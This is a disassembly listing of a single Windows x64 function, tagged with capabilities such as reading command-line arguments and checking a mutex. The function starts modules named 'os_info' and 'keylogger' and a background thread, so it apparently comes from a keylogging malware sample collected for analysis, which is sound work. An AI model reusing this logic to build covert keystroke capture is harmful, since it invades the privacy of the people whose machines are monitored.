Function at 0x140016640
Capabilities:
Accept command line arguments
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x140051040]
xor rax, rsp
mov qword [rbp + 0x140], rax
xor r12d, r12d
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r12
mov dword [rsp + 0x60], r12d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rsi, rax
movabs r13, 0x1fffffffffffffff
test rax, rax
je 0x140016779
movsxd r14, dword [rsp + 0x60]
mov rax, r14
mov qword [rsp + 0x70], rax
mov rcx, qword [rbp - 0x60]
sub rcx, qword [rbp - 0x70]
sar rcx, 3
cmp r14, rcx
jbe 0x1400166f0
cmp rax, r13
ja 0x140016cf0
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.1400197c0
mov r14d, dword [rsp + 0x60]
mov r15d, r12d
test r14d, r14d
jle 0x14001677e
nop dword [rax]
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rbx, eax
lea rcx, [rbx + 1]
call fcn.140038058
mov rdi, rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, qword [rsi]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov byte [rbx + rdi], r12b
mov rdx, qword [rbp - 0x68]
cmp rdx, qword [rbp - 0x60]
je 0x140016758
mov qword [rdx], rdi
add qword [rbp - 0x68], 8
jmp 0x140016766
lea r8, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.14001a7f0
inc r15d
add rsi, 8
mov r14d, dword [rsp + 0x60]
cmp r15d, r14d
jl 0x140016700
jmp 0x14001677e
mov r14d, dword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movdqu xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov rdx, qword [rbp - 0x68]
sub rdx, qword [rbp - 0x70]
sar rdx, 3
test rdx, rdx
je 0x1400167fd
cmp rdx, r13
ja 0x140016cea
lea rcx, [rsp + 0x70]
call fcn.14001a1d0
mov rsi, qword [rsp + 0x70]
mov rbx, qword [rbp - 0x70]
mov rdi, qword [rbp - 0x68]
mov r8, rdi
sub r8, rbx
mov rdx, rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
sar rdi, 3
lea rax, [rsi + rdi*8]
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x70]
mov edx, r14d
lea rcx, [rbp - 0x50]
call fcn.1400155b0
lea r8, [0x140042f88]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140016952
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14001686e
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016869
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016a2c
call fcn.140038024
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], r12b
mov r8, qword [rbp]
mov r8, qword [r8 + 8]
lea rdx, [rbp]
lea rcx, [rbp]
call fcn.1400196a0
mov edx, 0x40
mov rcx, qword [rbp]
call fcn.140038024
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 + 8]
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x10]
call fcn.1400196a0
mov edx, 0x40
mov rcx, qword [rbp - 0x10]
call fcn.140038024
lea rcx, [rbp - 0x28]
call fcn.14000d3d0
lea rcx, [rbp - 0x38]
call fcn.140017c20
lea rcx, [rbp - 0x50]
call fcn.14000d3d0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14001691d
mov rdx, qword [rbp - 0x60]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov r8, rcx
cmp rdx, 0x1000
jb 0x140016918
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x140016a2c
call fcn.140038024
mov eax, 1
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140037d80
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [rbp - 0x70]
mov rcx, qword [rcx]
call fcn.140014970
mov rax, qword [rbp - 0x70]
mov rdx, qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], r12b
jne 0x140016980
lea rcx, [rsp + 0x70]
call fcn.14000a910
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.14000d270
mov rbx, rax
lea rdx, [rbp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400169ea
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400169e5
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140016a33
mov rcx, r8
call fcn.140038024
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r12b
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140016a3f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016a3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016a3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140038024
call fcn.14000b2b0
mov qword [0x1400524d0], r12
mov byte [0x1400524d8], r12b
movzx eax, word [rsp + 0x71]
mov word [0x1400524d9], ax
movzx eax, byte [rsp + 0x73]
mov byte [0x1400524db], al
mov dword [0x1400524dc], r12d
mov ecx, 0x288
call fcn.140037da0
mov rbx, rax
xor edx, edx
mov r8d, 0x288
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov r8d, 7
lea rdx, str.os_info
lea rcx, [rsp + 0x70]
call fcn.14000a910
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.140016180
lea rcx, [rbx + 0x50]
call fcn.140016270
nop
mov byte [rbx + 0x258], 0
lea rcx, [rbx + 0x260]
xor edx, edx
call fcn.140019160
nop
xorps xmm0, xmm0
movups xmmword [rbx + 0x268], xmm0
mov qword [rbx + 0x278], r12
mov qword [rbx + 0x280], 0xf
mov byte [rbx + 0x268], 0
cmp byte [rbx + 0x20], 0
jne 0x140016b77
mov byte [rbx + 0x20], 1
mov ecx, 0x10
call fcn.140037da0
mov qword [rax], rbx
lea rcx, [0x14001b9d0]
mov qword [rax + 8], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140023900]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140016cd9
cmp dword [rbx + 0x30], 0
jne 0x140016cd2
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
movups xmmword [rbx + 0x28], xmm1
mov ecx, 0x2d0
call fcn.140037da0
mov rsi, rax
xor edx, edx
mov r8d, 0x2d0
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
mov r8d, 9
lea rdx, str.keylogger
lea rcx, [rsp + 0x70]
call fcn.14000a910
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.140016180
nop
lea rax, [fcn.14000bc60]
mov qword [rsp + 0x20], rax
lea r9, [0x14000d390]
mov edx, 0x20
mov r8d, 0xa
lea rcx, [rsi + 0x50]
call fcn.140038130
mov dword [rsi + 0x190], r12d
xorps xmm0, xmm0
movups xmmword [rsi + 0x198], xmm0
mov qword [rsi + 0x1a8], r12
mov qword [rsi + 0x1b0], 0xf
mov byte [rsi + 0x198], 0
lea rbx, [rsi + 0x1b8]
lea rax, [0x140041ae8]
mov qword [rbx], rax
lea rax, [0x1400419b0]
mov qword [rbx + 0x10], rax
lea rcx, [rbx + 0xb8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r8d, r8d
lea rdx, [rbx + 0x18]
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_fstream_char__struct_std::char_traits_char__.0
mov qword [rcx + rbx], rax
mov rax, qword [rbx]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb8]
mov dword [rcx + rbx - 4], edx
lea rcx, [rbx + 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbx + 0x18], rax
mov byte [rbx + 0x94], 0
mov byte [rbx + 0x89], 0
lea rcx, [rbx + 0x18]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbx + 0x98], r12
mov rax, qword [0x1400523b0]
mov qword [rbx + 0x8c], rax
mov qword [rbx + 0x80], r12
mov rcx, rsi
call fcn.140024e80
nop dword [rax + rax]
jmp 0x140016cd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov dword [rsp + 0x78], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.14000dec0
int3
call fcn.14000dec0
int3